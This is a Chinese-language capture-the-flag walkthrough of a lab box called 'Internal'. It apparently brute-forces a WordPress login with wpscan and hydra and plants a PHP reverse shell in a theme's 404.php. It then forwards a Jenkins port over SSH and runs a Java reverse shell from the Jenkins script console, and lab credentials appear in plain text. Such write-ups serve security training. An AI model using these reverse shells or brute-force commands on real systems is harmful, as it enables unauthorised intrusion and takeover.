Offensive Pentesting-Internal
Offensive Pentesting-Internal
信息搜集
先扫端口
nmap -T4 -sC -sV -Pn 10.10.216.2
发现80端口存在web服务
在扫一下目录
dirsearch -u http://10.10.113.49/ -i 200
[19:42:18] 200 - 2KB - /blog/wp-login.php
[19:42:18] 200 - 18KB - /blog/
[19:43:15] 200 - 3KB - /phpmyadmin/doc/html/index.html
[19:43:16] 200 - 3KB - /phpmyadmin/
[19:43:16] 200 - 3KB - /phpmyadmin/index.php
[19:43:52] 200 - 2KB - /wordpress/wp-login.php
扫出来了一个wordpress搭建的博客页面 还有后台登陆地址 还有phpmyadmin数据库的后台登陆地址
看到wordpress可太熟悉了 之前在vulnhub里面出现过好几次了 直接按照流程开始做
cewl+wpscan爆破后台登陆账密
首先先用cewl收集一手密码字典
cewl http://10.10.113.49/blog/ -w dict.txt
wpscan开扫用户名、插件、插件漏洞、主题漏洞
wpscan --url http://10.10.113.49/blog/ -e vp,vt,u
这条命令是扫描wordpress框架中可能存在的插件漏洞、主题漏洞和用户名 虽然没有扫描出可以利用的插件漏洞或者主题漏洞 但是成功找到了一个后台登陆用户——admin
下面就可以尝试使用我们刚才用cewl搞出来的密码字典尝试爆破一下了
wpscan --url http://10.10.113.49/blog/ -P dict.txt -U admin
然而这个没爆出来 那我们直接上rockyou 成功爆出来密码是my2boys
成功登录到后台
修改模板404.php反弹shell
在插件中没找到可以利用的 选择修改php0模板文件来反弹shell 路径为
http://internal.thm/blog/wp-admin/theme-editor.php?file=404.php&theme=twentyseventeen
修改内容为
<?php
$ip="10.11.114.143";
$port=2333;
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
在本机开个监听
访问404.php
http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php
成功反弹到 创建一个交互式终端
python -c "import pty;pty.spawn('/bin/bash')"
/opt文件夹下找到ssh连接密码
发现home下有个aubreanna用户文件夹 但是我们弹到的这个用户没有权限打开
翻文件 在根目录下找到一个异常文件夹/opt
进去找到一个wp-save.txt
存放了aubreanna用户的登陆密码
aubreanna:bubb13guM!@#123
ssh连接进去
ssh aubreanna@10.10.113.49 -p 22
再次进入aubreanna文件夹 读到flag1
端口转发访问jenkins服务
在上面flag的同级文件夹下 我们还能找到一个jenkins.txt 应该是运行的docker容器
为了访问这个服务 我们可以使用ssh进行端口转发
ssh -L 1234:localhost:8080 aubreanna@10.10.113.49
# 注意localhost前面放要转发到本机的端口 后面放目标靶机中开放的端口哦
在访问localhost:1234
就可以成功访问到jenkins服务了
直接用上面那组ssh登陆账密进不去 那选择用hydra进行爆破
hydra -l admin -P '/home/w3nx1z1/桌面/brutehash/rockyou.txt' -s 1234 127.0.0.1 http-post-form "/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in&Login=Login:Invalid username or password"
admin/spongebob
Scripts Console反弹shell
成功登陆之后 老样子之前在Alfred这个靶机中已经用过的做法 在http://127.0.0.1:1234/script
这个页面中可以进行命令执行来反弹shell 但是和Alfred又不同的是 这台靶机是linux的 不是windows 所以这里反弹shell的代码也有所不同
String host="10.11.114.143";
int port=4567;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
开启监听 成功反弹到shell
同样在/opt文件夹中 找到一个note.txt
文件 里面记录了root用户的密码
ssh连接root用户读flag
有了root用户的账密 我们直接ssh连接就行了 flag就在/root文件夹中
做题要点
1.wpscan爆破wordpress后台登陆账密
2.修改模板404.php反弹shell
3./opt特殊文件夹找到ssh登陆账密
4.端口转发访问jenkins服务
5.hydra爆破登陆密码
6.linux靶机环境中的jenkins script console反弹shell
v1.5.2